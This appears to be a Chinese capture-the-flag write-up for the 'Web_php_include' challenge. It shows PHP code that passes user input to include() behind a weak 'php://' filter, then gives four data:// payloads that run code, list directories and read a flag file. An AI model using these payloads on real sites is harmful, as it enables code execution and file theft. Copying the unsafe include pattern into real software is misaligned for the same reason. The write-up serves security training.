89,[5]攻防世界 web Web_php_include
进入靶场
<?php
// 显示当前 PHP 文件的源代码,方便调试或展示代码内容
show_source(__FILE__);
// 从 URL 的查询字符串中获取名为 'hello' 的参数值,并将其输出到页面上
// 例如,当访问的 URL 为 "example.php?hello=world" 时,会输出 "world"
echo $_GET['hello'];
// 从 URL 的查询字符串中获取名为 'page' 的参数值,并将其赋值给变量 $page
// 这个参数通常用于指定要包含的文件
$page = $_GET['page'];
// 使用 while 循环来检查 $page 变量中是否包含 "php://" 字符串
// strstr 函数用于查找字符串中第一次出现指定子字符串的位置,如果找到则返回包含该子字符串及其后续部分的字符串,否则返回 false
while (strstr($page, "php://")) {
// 如果 $page 中包含 "php://",则使用 str_replace 函数将 "php://" 替换为空字符串
// 这一步的目的是防止用户通过构造包含 "php://" 的输入来利用 PHP 的伪协议进行攻击
$page = str_replace("php://", "", $page);
}
// 使用 include 函数包含 $page 变量所指定的文件
// 包含文件后,该文件的内容会被当作当前文件的一部分执行
// 注意:这里需要确保 $page 的值是安全的,否则可能会导致文件包含漏洞
include($page);
?>
data://
伪协议
data://
是 PHP 中的一种伪协议,它允许我们直接将数据作为一个 “虚拟文件” 来处理。使用 data://
伪协议的基本格式如下:
data://<mime-type>[;charset=<charset>][;base64],<data>
<mime-type>
:指定数据的 MIME 类型,例如text/plain
表示纯文本类型。charset
:可选参数,用于指定字符编码。base64
:可选参数,如果数据是经过 Base64 编码的,则需要指定该参数。<data>
:实际的数据内容。
1,
/?page=data://text/plain,<?php phpinfo()?>
data://
:表示使用data://
伪协议。text/plain
:指定数据的 MIME 类型为纯文本。,
:作为分隔符,用于分隔 MIME 类型和实际的数据内容。<?php phpinfo()?>
:这是实际的数据内容,它是一段 PHP 代码,当这段代码被包含并执行时,会调用phpinfo()
函数,该函数会输出 PHP 的配置信息,包括 PHP 版本、编译选项、加载的扩展模块等详细信息。
2,
目录路径
/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
$_SERVER['DOCUMENT_ROOT']
是 PHP 的一个超全局变量,它存储着当前网站的根目录路径。echo
语句会将这个路径输出。
3,
/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
目的是列出 /var/www
目录下的所有文件和子目录信息
4,
/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
$a = file_get_contents('fl4gisisish3r3.php');
:file_get_contents
是 PHP 的一个函数,用于将整个文件读入一个字符串。这里尝试读取fl4gisisish3r3.php
文件的内容,并将其赋值给变量$a
。echo htmlspecialchars($a);
:htmlspecialchars
函数将字符串中的特殊字符(如<
、>
、&
等)转换为 HTML 实体,这样可以防止这些特殊字符在 HTML 页面中被错误解析,然后将处理后的字符串输出到页面上。